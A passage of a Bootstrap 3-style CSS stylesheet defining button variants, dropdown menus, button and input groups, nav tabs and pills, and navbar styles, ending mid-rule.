.btn:focus, .btn:active:focus, .btn.active:focus, .btn.focus, .btn:active.focus, .btn.active.focus { outline: thin dotted; outline: 5px auto -webkit-focus-ring-color; outline-offset: -2px; } .btn:hover, .btn:focus, .btn.focus { color: #333; text-decoration: none; } .btn:active, .btn.active { background-image: none; outline: 0; -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125); box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125); } .btn.disabled, .btn[disabled], fieldset[disabled] .btn { cursor: not-allowed; filter: alpha(opacity=65); -webkit-box-shadow: none; box-shadow: none; opacity: .65; } a.btn.disabled, fieldset[disabled] a.btn { pointer-events: none; } .btn-default { color: #333; background-color: #fff; border-color: #ccc; } .btn-default:focus, .btn-default.focus { color: #333; background-color: #e6e6e6; border-color: #8c8c8c; } .btn-default:hover { color: #333; background-color: #e6e6e6; border-color: #adadad; } .btn-default:active, .btn-default.active, .open > .dropdown-toggle.btn-default { color: #333; background-color: #e6e6e6; border-color: #adadad; } .btn-default:active:hover, .btn-default.active:hover, .open > .dropdown-toggle.btn-default:hover, .btn-default:active:focus, .btn-default.active:focus, .open > .dropdown-toggle.btn-default:focus, .btn-default:active.focus, .btn-default.active.focus, .open > .dropdown-toggle.btn-default.focus { color: #333; background-color: #d4d4d4; border-color: #8c8c8c; } .btn-default:active, .btn-default.active, .open > .dropdown-toggle.btn-default { background-image: none; } .btn-default.disabled, .btn-default[disabled], fieldset[disabled] .btn-default, .btn-default.disabled:hover, .btn-default[disabled]:hover, fieldset[disabled] .btn-default:hover, .btn-default.disabled:focus, .btn-default[disabled]:focus, fieldset[disabled] .btn-default:focus, .btn-default.disabled.focus, .btn-default[disabled].focus, fieldset[disabled] .btn-default.focus, .btn-default.disabled:active, .btn-default[disabled]:active, fieldset[disabled] .btn-default:active, .btn-default.disabled.active, .btn-default[disabled].active, fieldset[disabled] .btn-default.active { background-color: #fff; border-color: #ccc; } .btn-default .badge { color: #fff; background-color: #333; } .btn-primary { color: #fff; background-color: #337ab7; border-color: #2e6da4; } .btn-primary:focus, .btn-primary.focus { color: #fff; background-color: #286090; border-color: #122b40; } .btn-primary:hover { color: #fff; background-color: #286090; border-color: #204d74; } .btn-primary:active, .btn-primary.active, .open > .dropdown-toggle.btn-primary { color: #fff; background-color: #286090; border-color: #204d74; } .btn-primary:active:hover, .btn-primary.active:hover, .open > .dropdown-toggle.btn-primary:hover, .btn-primary:active:focus, .btn-primary.active:focus, .open > .dropdown-toggle.btn-primary:focus, .btn-primary:active.focus, .btn-primary.active.focus, .open > .dropdown-toggle.btn-primary.focus { color: #fff; background-color: #204d74; border-color: #122b40; } .btn-primary:active, .btn-primary.active, .open > .dropdown-toggle.btn-primary { background-image: none; } .btn-primary.disabled, .btn-primary[disabled], fieldset[disabled] .btn-primary, .btn-primary.disabled:hover, .btn-primary[disabled]:hover, fieldset[disabled] .btn-primary:hover, .btn-primary.disabled:focus, .btn-primary[disabled]:focus, fieldset[disabled] .btn-primary:focus, .btn-primary.disabled.focus, .btn-primary[disabled].focus, fieldset[disabled] .btn-primary.focus, .btn-primary.disabled:active, .btn-primary[disabled]:active, fieldset[disabled] .btn-primary:active, .btn-primary.disabled.active, .btn-primary[disabled].active, fieldset[disabled] .btn-primary.active { background-color: #337ab7; border-color: #2e6da4; } .btn-primary .badge { color: #337ab7; background-color: #fff; } .btn-success { color: #fff; background-color: #5cb85c; border-color: #4cae4c; } .btn-success:focus, .btn-success.focus { color: #fff; background-color: #449d44; border-color: #255625; } .btn-success:hover { color: #fff; background-color: #449d44; border-color: #398439; } .btn-success:active, .btn-success.active, .open > .dropdown-toggle.btn-success { color: #fff; background-color: #449d44; border-color: #398439; } .btn-success:active:hover, .btn-success.active:hover, .open > .dropdown-toggle.btn-success:hover, .btn-success:active:focus, .btn-success.active:focus, .open > .dropdown-toggle.btn-success:focus, .btn-success:active.focus, .btn-success.active.focus, .open > .dropdown-toggle.btn-success.focus { color: #fff; background-color: #398439; border-color: #255625; } .btn-success:active, .btn-success.active, .open > .dropdown-toggle.btn-success { background-image: none; } .btn-success.disabled, .btn-success[disabled], fieldset[disabled] .btn-success, .btn-success.disabled:hover, .btn-success[disabled]:hover, fieldset[disabled] .btn-success:hover, .btn-success.disabled:focus, .btn-success[disabled]:focus, fieldset[disabled] .btn-success:focus, .btn-success.disabled.focus, .btn-success[disabled].focus, fieldset[disabled] .btn-success.focus, .btn-success.disabled:active, .btn-success[disabled]:active, fieldset[disabled] .btn-success:active, .btn-success.disabled.active, .btn-success[disabled].active, fieldset[disabled] .btn-success.active { background-color: #5cb85c; border-color: #4cae4c; } .btn-success .badge { color: #5cb85c; background-color: #fff; } .btn-info { color: #fff; background-color: #5bc0de; border-color: #46b8da; } .btn-info:focus, .btn-info.focus { color: #fff; background-color: #31b0d5; border-color: #1b6d85; } .btn-info:hover { color: #fff; background-color: #31b0d5; border-color: #269abc; } .btn-info:active, .btn-info.active, .open > .dropdown-toggle.btn-info { color: #fff; background-color: #31b0d5; border-color: #269abc; } .btn-info:active:hover, .btn-info.active:hover, .open > .dropdown-toggle.btn-info:hover, .btn-info:active:focus, .btn-info.active:focus, .open > .dropdown-toggle.btn-info:focus, .btn-info:active.focus, .btn-info.active.focus, .open > .dropdown-toggle.btn-info.focus { color: #fff; background-color: #269abc; border-color: #1b6d85; } .btn-info:active, .btn-info.active, .open > .dropdown-toggle.btn-info { background-image: none; } .btn-info.disabled, .btn-info[disabled], fieldset[disabled] .btn-info, .btn-info.disabled:hover, .btn-info[disabled]:hover, fieldset[disabled] .btn-info:hover, .btn-info.disabled:focus, .btn-info[disabled]:focus, fieldset[disabled] .btn-info:focus, .btn-info.disabled.focus, .btn-info[disabled].focus, fieldset[disabled] .btn-info.focus, .btn-info.disabled:active, .btn-info[disabled]:active, fieldset[disabled] .btn-info:active, .btn-info.disabled.active, .btn-info[disabled].active, fieldset[disabled] .btn-info.active { background-color: #5bc0de; border-color: #46b8da; } .btn-info .badge { color: #5bc0de; background-color: #fff; } .btn-warning { color: #fff; background-color: #f0ad4e; border-color: #eea236; } .btn-warning:focus, .btn-warning.focus { color: #fff; background-color: #ec971f; border-color: #985f0d; } .btn-warning:hover { color: #fff; background-color: #ec971f; border-color: #d58512; } .btn-warning:active, .btn-warning.active, .open > .dropdown-toggle.btn-warning { color: #fff; background-color: #ec971f; border-color: #d58512; } .btn-warning:active:hover, .btn-warning.active:hover, .open > .dropdown-toggle.btn-warning:hover, .btn-warning:active:focus, .btn-warning.active:focus, .open > .dropdown-toggle.btn-warning:focus, .btn-warning:active.focus, .btn-warning.active.focus, .open > .dropdown-toggle.btn-warning.focus { color: #fff; background-color: #d58512; border-color: #985f0d; } .btn-warning:active, .btn-warning.active, .open > .dropdown-toggle.btn-warning { background-image: none; } .btn-warning.disabled, .btn-warning[disabled], fieldset[disabled] .btn-warning, .btn-warning.disabled:hover, .btn-warning[disabled]:hover, fieldset[disabled] .btn-warning:hover, .btn-warning.disabled:focus, .btn-warning[disabled]:focus, fieldset[disabled] .btn-warning:focus, .btn-warning.disabled.focus, .btn-warning[disabled].focus, fieldset[disabled] .btn-warning.focus, .btn-warning.disabled:active, .btn-warning[disabled]:active, fieldset[disabled] .btn-warning:active, .btn-warning.disabled.active, .btn-warning[disabled].active, fieldset[disabled] .btn-warning.active { background-color: #f0ad4e; border-color: #eea236; } .btn-warning .badge { color: #f0ad4e; background-color: #fff; } .btn-danger { color: #fff; background-color: #d9534f; border-color: #d43f3a; } .btn-danger:focus, .btn-danger.focus { color: #fff; background-color: #c9302c; border-color: #761c19; } .btn-danger:hover { color: #fff; background-color: #c9302c; border-color: #ac2925; } .btn-danger:active, .btn-danger.active, .open > .dropdown-toggle.btn-danger { color: #fff; background-color: #c9302c; border-color: #ac2925; } .btn-danger:active:hover, .btn-danger.active:hover, .open > .dropdown-toggle.btn-danger:hover, .btn-danger:active:focus, .btn-danger.active:focus, .open > .dropdown-toggle.btn-danger:focus, .btn-danger:active.focus, .btn-danger.active.focus, .open > .dropdown-toggle.btn-danger.focus { color: #fff; background-color: #ac2925; border-color: #761c19; } .btn-danger:active, .btn-danger.active, .open > .dropdown-toggle.btn-danger { background-image: none; } .btn-danger.disabled, .btn-danger[disabled], fieldset[disabled] .btn-danger, .btn-danger.disabled:hover, .btn-danger[disabled]:hover, fieldset[disabled] .btn-danger:hover, .btn-danger.disabled:focus, .btn-danger[disabled]:focus, fieldset[disabled] .btn-danger:focus, .btn-danger.disabled.focus, .btn-danger[disabled].focus, fieldset[disabled] .btn-danger.focus, .btn-danger.disabled:active, .btn-danger[disabled]:active, fieldset[disabled] .btn-danger:active, .btn-danger.disabled.active, .btn-danger[disabled].active, fieldset[disabled] .btn-danger.active { background-color: #d9534f; border-color: #d43f3a; } .btn-danger .badge { color: #d9534f; background-color: #fff; } .btn-link { font-weight: normal; color: #337ab7; border-radius: 0; } .btn-link, .btn-link:active, .btn-link.active, .btn-link[disabled], fieldset[disabled] .btn-link { background-color: transparent; -webkit-box-shadow: none; box-shadow: none; } .btn-link, .btn-link:hover, .btn-link:focus, .btn-link:active { border-color: transparent; } .btn-link:hover, .btn-link:focus { color: #23527c; text-decoration: underline; background-color: transparent; } .btn-link[disabled]:hover, fieldset[disabled] .btn-link:hover, .btn-link[disabled]:focus, fieldset[disabled] .btn-link:focus { color: #777; text-decoration: none; } .btn-lg, .btn-group-lg > .btn { padding: 10px 16px; font-size: 18px; line-height: 1.3333333; border-radius: 6px; } .btn-sm, .btn-group-sm > .btn { padding: 5px 10px; font-size: 12px; line-height: 1.5; border-radius: 3px; } .btn-xs, .btn-group-xs > .btn { padding: 1px 5px; font-size: 12px; line-height: 1.5; border-radius: 3px; } .btn-block { display: block; width: 100%; } .btn-block + .btn-block { margin-top: 5px; } input[type="submit"].btn-block, input[type="reset"].btn-block, input[type="button"].btn-block { width: 100%; } .fade { opacity: 0; -webkit-transition: opacity .15s linear; -o-transition: opacity .15s linear; transition: opacity .15s linear; } .fade.in { opacity: 1; } .collapse { display: none; } .collapse.in { display: block; } tr.collapse.in { display: table-row; } tbody.collapse.in { display: table-row-group; } .collapsing { position: relative; height: 0; overflow: hidden; -webkit-transition-timing-function: ease; -o-transition-timing-function: ease; transition-timing-function: ease; -webkit-transition-duration: .35s; -o-transition-duration: .35s; transition-duration: .35s; -webkit-transition-property: height, visibility; -o-transition-property: height, visibility; transition-property: height, visibility; } .caret { display: inline-block; width: 0; height: 0; margin-left: 2px; vertical-align: middle; border-top: 4px dashed; border-top: 4px solid \9; border-right: 4px solid transparent; border-left: 4px solid transparent; } .dropup, .dropdown { position: relative; } .dropdown-toggle:focus { outline: 0; } .dropdown-menu { position: absolute; top: 100%; left: 0; z-index: 1000; display: none; float: left; min-width: 160px; padding: 5px 0; margin: 2px 0 0; font-size: 14px; text-align: left; list-style: none; background-color: #fff; -webkit-background-clip: padding-box; background-clip: padding-box; border: 1px solid #ccc; border: 1px solid rgba(0, 0, 0, .15); border-radius: 4px; -webkit-box-shadow: 0 6px 12px rgba(0, 0, 0, .175); box-shadow: 0 6px 12px rgba(0, 0, 0, .175); } .dropdown-menu.pull-right { right: 0; left: auto; } .dropdown-menu .divider { height: 1px; margin: 9px 0; overflow: hidden; background-color: #e5e5e5; } .dropdown-menu > li > a { display: block; padding: 3px 20px; clear: both; font-weight: normal; line-height: 1.42857143; color: #333; white-space: nowrap; } .dropdown-menu > li > a:hover, .dropdown-menu > li > a:focus { color: #262626; text-decoration: none; background-color: #f5f5f5; } .dropdown-menu > .active > a, .dropdown-menu > .active > a:hover, .dropdown-menu > .active > a:focus { color: #fff; text-decoration: none; background-color: #337ab7; outline: 0; } .dropdown-menu > .disabled > a, .dropdown-menu > .disabled > a:hover, .dropdown-menu > .disabled > a:focus { color: #777; } .dropdown-menu > .disabled > a:hover, .dropdown-menu > .disabled > a:focus { text-decoration: none; cursor: not-allowed; background-color: transparent; background-image: none; filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); } .open > .dropdown-menu { display: block; } .open > a { outline: 0; } .dropdown-menu-right { right: 0; left: auto; } .dropdown-menu-left { right: auto; left: 0; } .dropdown-header { display: block; padding: 3px 20px; font-size: 12px; line-height: 1.42857143; color: #777; white-space: nowrap; } .dropdown-backdrop { position: fixed; top: 0; right: 0; bottom: 0; left: 0; z-index: 990; } .pull-right > .dropdown-menu { right: 0; left: auto; } .dropup .caret, .navbar-fixed-bottom .dropdown .caret { content: ""; border-top: 0; border-bottom: 4px dashed; border-bottom: 4px solid \9; } .dropup .dropdown-menu, .navbar-fixed-bottom .dropdown .dropdown-menu { top: auto; bottom: 100%; margin-bottom: 2px; } @media (min-width: 768px) { .navbar-right .dropdown-menu { right: 0; left: auto; } .navbar-right .dropdown-menu-left { right: auto; left: 0; } } .btn-group, .btn-group-vertical { position: relative; display: inline-block; vertical-align: middle; } .btn-group > .btn, .btn-group-vertical > .btn { position: relative; float: left; } .btn-group > .btn:hover, .btn-group-vertical > .btn:hover, .btn-group > .btn:focus, .btn-group-vertical > .btn:focus, .btn-group > .btn:active, .btn-group-vertical > .btn:active, .btn-group > .btn.active, .btn-group-vertical > .btn.active { z-index: 2; } .btn-group .btn + .btn, .btn-group .btn + .btn-group, .btn-group .btn-group + .btn, .btn-group .btn-group + .btn-group { margin-left: -1px; } .btn-toolbar { margin-left: -5px; } .btn-toolbar .btn, .btn-toolbar .btn-group, .btn-toolbar .input-group { float: left; } .btn-toolbar > .btn, .btn-toolbar > .btn-group, .btn-toolbar > .input-group { margin-left: 5px; } .btn-group > .btn:not(:first-child):not(:last-child):not(.dropdown-toggle) { border-radius: 0; } .btn-group > .btn:first-child { margin-left: 0; } .btn-group > .btn:first-child:not(:last-child):not(.dropdown-toggle) { border-top-right-radius: 0; border-bottom-right-radius: 0; } .btn-group > .btn:last-child:not(:first-child), .btn-group > .dropdown-toggle:not(:first-child) { border-top-left-radius: 0; border-bottom-left-radius: 0; } .btn-group > .btn-group { float: left; } .btn-group > .btn-group:not(:first-child):not(:last-child) > .btn { border-radius: 0; } .btn-group > .btn-group:first-child:not(:last-child) > .btn:last-child, .btn-group > .btn-group:first-child:not(:last-child) > .dropdown-toggle { border-top-right-radius: 0; border-bottom-right-radius: 0; } .btn-group > .btn-group:last-child:not(:first-child) > .btn:first-child { border-top-left-radius: 0; border-bottom-left-radius: 0; } .btn-group .dropdown-toggle:active, .btn-group.open .dropdown-toggle { outline: 0; } .btn-group > .btn + .dropdown-toggle { padding-right: 8px; padding-left: 8px; } .btn-group > .btn-lg + .dropdown-toggle { padding-right: 12px; padding-left: 12px; } .btn-group.open .dropdown-toggle { -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125); box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125); } .btn-group.open .dropdown-toggle.btn-link { -webkit-box-shadow: none; box-shadow: none; } .btn .caret { margin-left: 0; } .btn-lg .caret { border-width: 5px 5px 0; border-bottom-width: 0; } .dropup .btn-lg .caret { border-width: 0 5px 5px; } .btn-group-vertical > .btn, .btn-group-vertical > .btn-group, .btn-group-vertical > .btn-group > .btn { display: block; float: none; width: 100%; max-width: 100%; } .btn-group-vertical > .btn-group > .btn { float: none; } .btn-group-vertical > .btn + .btn, .btn-group-vertical > .btn + .btn-group, .btn-group-vertical > .btn-group + .btn, .btn-group-vertical > .btn-group + .btn-group { margin-top: -1px; margin-left: 0; } .btn-group-vertical > .btn:not(:first-child):not(:last-child) { border-radius: 0; } .btn-group-vertical > .btn:first-child:not(:last-child) { border-top-right-radius: 4px; border-bottom-right-radius: 0; border-bottom-left-radius: 0; } .btn-group-vertical > .btn:last-child:not(:first-child) { border-top-left-radius: 0; border-top-right-radius: 0; border-bottom-left-radius: 4px; } .btn-group-vertical > .btn-group:not(:first-child):not(:last-child) > .btn { border-radius: 0; } .btn-group-vertical > .btn-group:first-child:not(:last-child) > .btn:last-child, .btn-group-vertical > .btn-group:first-child:not(:last-child) > .dropdown-toggle { border-bottom-right-radius: 0; border-bottom-left-radius: 0; } .btn-group-vertical > .btn-group:last-child:not(:first-child) > .btn:first-child { border-top-left-radius: 0; border-top-right-radius: 0; } .btn-group-justified { display: table; width: 100%; table-layout: fixed; border-collapse: separate; } .btn-group-justified > .btn, .btn-group-justified > .btn-group { display: table-cell; float: none; width: 1%; } .btn-group-justified > .btn-group .btn { width: 100%; } .btn-group-justified > .btn-group .dropdown-menu { left: auto; } [data-toggle="buttons"] > .btn input[type="radio"], [data-toggle="buttons"] > .btn-group > .btn input[type="radio"], [data-toggle="buttons"] > .btn input[type="checkbox"], [data-toggle="buttons"] > .btn-group > .btn input[type="checkbox"] { position: absolute; clip: rect(0, 0, 0, 0); pointer-events: none; } .input-group { position: relative; display: table; border-collapse: separate; } .input-group[class*="col-"] { float: none; padding-right: 0; padding-left: 0; } .input-group .form-control { position: relative; z-index: 2; float: left; width: 100%; margin-bottom: 0; } .input-group-lg > .form-control, .input-group-lg > .input-group-addon, .input-group-lg > .input-group-btn > .btn { height: 46px; padding: 10px 16px; font-size: 18px; line-height: 1.3333333; border-radius: 6px; } select.input-group-lg > .form-control, select.input-group-lg > .input-group-addon, select.input-group-lg > .input-group-btn > .btn { height: 46px; line-height: 46px; } textarea.input-group-lg > .form-control, textarea.input-group-lg > .input-group-addon, textarea.input-group-lg > .input-group-btn > .btn, select[multiple].input-group-lg > .form-control, select[multiple].input-group-lg > .input-group-addon, select[multiple].input-group-lg > .input-group-btn > .btn { height: auto; } .input-group-sm > .form-control, .input-group-sm > .input-group-addon, .input-group-sm > .input-group-btn > .btn { height: 30px; padding: 5px 10px; font-size: 12px; line-height: 1.5; border-radius: 3px; } select.input-group-sm > .form-control, select.input-group-sm > .input-group-addon, select.input-group-sm > .input-group-btn > .btn { height: 30px; line-height: 30px; } textarea.input-group-sm > .form-control, textarea.input-group-sm > .input-group-addon, textarea.input-group-sm > .input-group-btn > .btn, select[multiple].input-group-sm > .form-control, select[multiple].input-group-sm > .input-group-addon, select[multiple].input-group-sm > .input-group-btn > .btn { height: auto; } .input-group-addon, .input-group-btn, .input-group .form-control { display: table-cell; } .input-group-addon:not(:first-child):not(:last-child), .input-group-btn:not(:first-child):not(:last-child), .input-group .form-control:not(:first-child):not(:last-child) { border-radius: 0; } .input-group-addon, .input-group-btn { width: 1%; white-space: nowrap; vertical-align: middle; } .input-group-addon { padding: 6px 12px; font-size: 14px; font-weight: normal; line-height: 1; color: #555; text-align: center; background-color: #eee; border: 1px solid #ccc; border-radius: 4px; } .input-group-addon.input-sm { padding: 5px 10px; font-size: 12px; border-radius: 3px; } .input-group-addon.input-lg { padding: 10px 16px; font-size: 18px; border-radius: 6px; } .input-group-addon input[type="radio"], .input-group-addon input[type="checkbox"] { margin-top: 0; } .input-group .form-control:first-child, .input-group-addon:first-child, .input-group-btn:first-child > .btn, .input-group-btn:first-child > .btn-group > .btn, .input-group-btn:first-child > .dropdown-toggle, .input-group-btn:last-child > .btn:not(:last-child):not(.dropdown-toggle), .input-group-btn:last-child > .btn-group:not(:last-child) > .btn { border-top-right-radius: 0; border-bottom-right-radius: 0; } .input-group-addon:first-child { border-right: 0; } .input-group .form-control:last-child, .input-group-addon:last-child, .input-group-btn:last-child > .btn, .input-group-btn:last-child > .btn-group > .btn, .input-group-btn:last-child > .dropdown-toggle, .input-group-btn:first-child > .btn:not(:first-child), .input-group-btn:first-child > .btn-group:not(:first-child) > .btn { border-top-left-radius: 0; border-bottom-left-radius: 0; } .input-group-addon:last-child { border-left: 0; } .input-group-btn { position: relative; font-size: 0; white-space: nowrap; } .input-group-btn > .btn { position: relative; } .input-group-btn > .btn + .btn { margin-left: -1px; } .input-group-btn > .btn:hover, .input-group-btn > .btn:focus, .input-group-btn > .btn:active { z-index: 2; } .input-group-btn:first-child > .btn, .input-group-btn:first-child > .btn-group { margin-right: -1px; } .input-group-btn:last-child > .btn, .input-group-btn:last-child > .btn-group { z-index: 2; margin-left: -1px; } .nav { padding-left: 0; margin-bottom: 0; list-style: none; } .nav > li { position: relative; display: block; } .nav > li > a { position: relative; display: block; padding: 10px 15px; } .nav > li > a:hover, .nav > li > a:focus { text-decoration: none; background-color: #eee; } .nav > li.disabled > a { color: #777; } .nav > li.disabled > a:hover, .nav > li.disabled > a:focus { color: #777; text-decoration: none; cursor: not-allowed; background-color: transparent; } .nav .open > a, .nav .open > a:hover, .nav .open > a:focus { background-color: #eee; border-color: #337ab7; } .nav .nav-divider { height: 1px; margin: 9px 0; overflow: hidden; background-color: #e5e5e5; } .nav > li > a > img { max-width: none; } .nav-tabs { border-bottom: 1px solid #ddd; } .nav-tabs > li { float: left; margin-bottom: -1px; } .nav-tabs > li > a { margin-right: 2px; line-height: 1.42857143; border: 1px solid transparent; border-radius: 4px 4px 0 0; } .nav-tabs > li > a:hover { border-color: #eee #eee #ddd; } .nav-tabs > li.active > a, .nav-tabs > li.active > a:hover, .nav-tabs > li.active > a:focus { color: #555; cursor: default; background-color: #fff; border: 1px solid #ddd; border-bottom-color: transparent; } .nav-tabs.nav-justified { width: 100%; border-bottom: 0; } .nav-tabs.nav-justified > li { float: none; } .nav-tabs.nav-justified > li > a { margin-bottom: 5px; text-align: center; } .nav-tabs.nav-justified > .dropdown .dropdown-menu { top: auto; left: auto; } @media (min-width: 768px) { .nav-tabs.nav-justified > li { display: table-cell; width: 1%; } .nav-tabs.nav-justified > li > a { margin-bottom: 0; } } .nav-tabs.nav-justified > li > a { margin-right: 0; border-radius: 4px; } .nav-tabs.nav-justified > .active > a, .nav-tabs.nav-justified > .active > a:hover, .nav-tabs.nav-justified > .active > a:focus { border: 1px solid #ddd; } @media (min-width: 768px) { .nav-tabs.nav-justified > li > a { border-bottom: 1px solid #ddd; border-radius: 4px 4px 0 0; } .nav-tabs.nav-justified > .active > a, .nav-tabs.nav-justified > .active > a:hover, .nav-tabs.nav-justified > .active > a:focus { border-bottom-color: #fff; } } .nav-pills > li { float: left; } .nav-pills > li > a { border-radius: 4px; } .nav-pills > li + li { margin-left: 2px; } .nav-pills > li.active > a, .nav-pills > li.active > a:hover, .nav-pills > li.active > a:focus { color: #fff; background-color: #337ab7; } .nav-stacked > li { float: none; } .nav-stacked > li + li { margin-top: 2px; margin-left: 0; } .nav-justified { width: 100%; } .nav-justified > li { float: none; } .nav-justified > li > a { margin-bottom: 5px; text-align: center; } .nav-justified > .dropdown .dropdown-menu { top: auto; left: auto; } @media (min-width: 768px) { .nav-justified > li { display: table-cell; width: 1%; } .nav-justified > li > a { margin-bottom: 0; } } .nav-tabs-justified { border-bottom: 0; } .nav-tabs-justified > li > a { margin-right: 0; border-radius: 4px; } .nav-tabs-justified > .active > a, .nav-tabs-justified > .active > a:hover, .nav-tabs-justified > .active > a:focus { border: 1px solid #ddd; } @media (min-width: 768px) { .nav-tabs-justified > li > a { border-bottom: 1px solid #ddd; border-radius: 4px 4px 0 0; } .nav-tabs-justified > .active > a, .nav-tabs-justified > .active > a:hover, .nav-tabs-justified > .active > a:focus { border-bottom-color: #fff; } } .tab-content > .tab-pane { display: none; } .tab-content > .active { display: block; } .nav-tabs .dropdown-menu { margin-top: -1px; border-top-left-radius: 0; border-top-right-radius: 0; } .navbar { position: relative; min-height: 50px; margin-bottom: 20px; border: 1px solid transparent; } @media (min-width: 768px) { .navbar { border-radius: 4px; } } @media (min-width: 768px) { .navbar-header { float: left; } } .navbar-collapse { padding-right: 15px; padding-left: 15px; overflow-x: visible; -webkit-overflow-scrolling: touch; border-top: 1px solid transparent; -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1); box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1); } .navbar-collapse.in { overflow-y: auto; } @media (min-width: 768px) { .navbar-collapse { width: auto; border-top: 0; -webkit-box-shadow: none; box-shadow: none; } .navbar-collapse.collapse { display: block !important; height: auto !important; padding-bottom: 0; overflow: visible !important; } .navbar-collapse.in { overflow-y: visible; } .navbar-fixed-top .navbar-collapse, .navbar-static-top .navbar-collapse, .navbar-fixed-bottom .navbar-collapse { padding-right: 0; padding-left: 0; } } .navbar-fixed-top .navbar-collapse, .navbar-fixed-bottom .navbar-collapse { max-height: 340px; } @media (max-device-width: 480px) and (orientation: landscape) { .navbar-fixed-top .navbar-collapse, .navbar-fixed-bottom .navbar-collapse { max-height: 200px; } } .container > .navbar-header, .container-fluid > .navbar-header, .container > .navbar-collapse, .container-fluid > .navbar-collapse { margin-right: -15px; margin-left: -15px; } @media (min-width: 768px) { .container > .navbar-header, .container-fluid > .navbar-header, .container > .navbar-collapse, .container-fluid > .navbar-collapse { margin-right: 0; margin-left: 0; } } .navbar-static-top { z-index: 1000; border-width: 0 0 1px; } @media (min-width: 768px) { .navbar-static-top { border-radius: 0; } } .navbar-fixed-top, .navbar-fixed-bottom { position: fixed; right: 0; left: 0; z-index: 1030; } @media (min-width: 768px) { .navbar-fixed-top, .navbar-fixed-bottom { border-radius: 0; } } .navbar-fixed-top { top: 0; border-width: 0 0 1px; } .navbar-fixed-bottom { bottom: 0; margin-bottom: 0; border-width: 1px 0 0; } .navbar-brand { float: left; height: 50px; padding: 15px 15px; font-size: 18px; line-height: 20px; } .navbar-brand:hover, .navbar-brand:focus { text-decoration: none; } .navbar-brand > img { display: block; } @media (min-width: 768px) { .navbar > .container .navbar-brand, .navbar > .container-fluid .navbar-brand { margin-left: -15px; } } .navbar-toggle { position: relative; float: right; padding: 9px 10px; margin-top: 8px; margin-right: 15px; margin-bottom: 8px; background-color: transparent; background-image: none; border: 1px solid transparent; border-radius: 4px; } .navbar-toggle:focus { outline: 0; } .navbar-toggle .icon-bar { display: block; width: 22px; height: 2px; border-radius: 1px; } .navbar-toggle .icon-bar + .icon-bar { margin-top: 4px; } @media (min-width: 768px) { .navbar-toggle { display: none; } } .navbar-nav { margin: 7.5px -15px; } .navbar-nav > li > a { padding-top: 10px; padding-bottom: 10px; line-height: 20px; } @media (max-width: 767px) { .navbar-nav .open .dropdown-menu { position: static; float: none; width: auto; margin-top: 0; background-color: transparent; border: 0; -webkit-box-shadow: none; box-shadow: none; } .navbar-nav .open .dropdown-menu > li > a, .navbar-nav .open .dropdown-menu .dropdown-header { padding: 5px 15px 5px 25px; } .navbar-nav .open .dropdown-menu > li > a { line-height: 20px; } .navbar-nav .open .dropdown-menu > li > a:hover, .navbar-nav .open .dropdown-menu > li > a:focus { background-image: none; } } @media (min-width: 768px) { .navbar-nav { float: left; margin: 0; } .navbar-nav > li { float: left; } .navbar-nav > li > a { padding-top: 15px; padding-bottom: 15px; } } .navbar-form { padding: 10px 15px; margin-top: 8px; margin-right: -15px; margin-bottom: 8px; margin-left: -15px; border-top: 1px solid transparent; border-bottom: 1px solid transparent; -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1), 0 1px 0 rgba(255, 255, 255, .1); box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1), 0 1px 0 rgba(255, 255, 255, .1); } @media (min-width: 768px) { .navbar-form .form-group { display: inline-block; margin-bottom: 0; vertical-align: middle; } .navbar-form .form-control { display: inline-block; width: auto; vertical-align: middle; } .navbar-form .form-control-static { display: inline-block; } .navbar-form .input-group { display: inline-table; vertical-align: middle; } .navbar-form .input-group .input-group-addon, .navbar-form .input-group .input-group-btn, .navbar-form .input-group .form-control { width: auto; } .navbar-form .input-group > .form-control { width: 100%; } .navbar-form .control-label { margin-bottom: 0; vertical-align: middle; } .navbar-form .radio, .navbar-form .checkbox { display: inline-block; margin-top: 0; margin-bottom: 0; vertical-align: middle; } .navbar-form .radio label, .navbar-form .checkbox label { padding-left: 0; } .navbar-form .radio input[type="radio"], .navbar-form .checkbox input[type="checkbox"] { position: relative; margin-left: 0; } .navbar-form .has-feedback .form-control-feedback { top: 0; } } @media (max-width: 767px) { .navbar-form .form-group { margin-bottom: 5px; } .navbar-form .form-group:last-child { margin-bottom: 0; } } @media (min-width: 768px) { .navbar-form { width: auto; padding-top: 0; padding-bottom: 0; margin-right: 0; margin-left: 0; border: 0; -webkit-box-shadow: none; box-shadow: none; } } .navbar-nav > li > .dropdown-menu { margin-top: 0; border-top-left-radius: 0; border-top-right-radius: 0; } .navbar-fixed-bottom .navbar-nav > li > .dropdown-menu { margin-bottom: 0; border-top-left-radius: 4px; border-top-right-radius: 4px; border-bottom-right-radius: 0; border-bottom-left-radius: 0; } .navbar-btn { margin-top: 8px; margin-bottom: 8px; } .navbar-btn.btn-sm { margin-top: 10px; margin-bottom: 10px; } .navbar-btn.btn-xs { margin-top: 14px; margin-bottom: 14px; } .navbar-text { margin-top: 15px; margin-bottom: 15px; } @media (min-width: 768px) { .navbar-text { float: left; margin-right: 15px; margin-left: 15px; } } @media (min-width: 768px) { .navbar-left { float: left !important; } .navbar-right { float: right !important; margin-right: -15px; } .navbar-right ~ .navbar-right { margin-right: 0; } } .navbar-default { background-color: #f8f8f8; border-color: #e7e7e7; } .navbar-default .navbar-brand { color: #777; } .navbar-default .navbar-brand:hover, .navbar-default .navbar-brand:focus { color: #5e5e5e; background-color: transparent; } .navbar-default .navbar-text { color: #777; } .navbar-default .navbar-nav > li > a { color: #777; } .navbar-default .navbar-nav > li > a:hover, .navbar-default .navbar-nav > li > a:focus { color: #333; background-color: transparent; } .navbar-default .navbar-nav > .active > a, .navbar-default .navbar-nav > .active > a:hover, .navbar-default .navbar-nav > .active > a:focus { color: #555; background-color: #e7e7e7; } .navbar-default .navbar-nav > .disabled > a, .navbar-default .navbar-nav > .disabled > a:hover, .navbar-default .navbar-nav > .disabled > a:focus { color: #ccc; background-color: transparent; } .navbar-default .navbar-toggle { border-color: #ddd; } .navbar-default .navbar-toggle:hover, .navbar-default .navbar-toggle:focus { background-color: #ddd; } .navbar-default .navbar-toggle 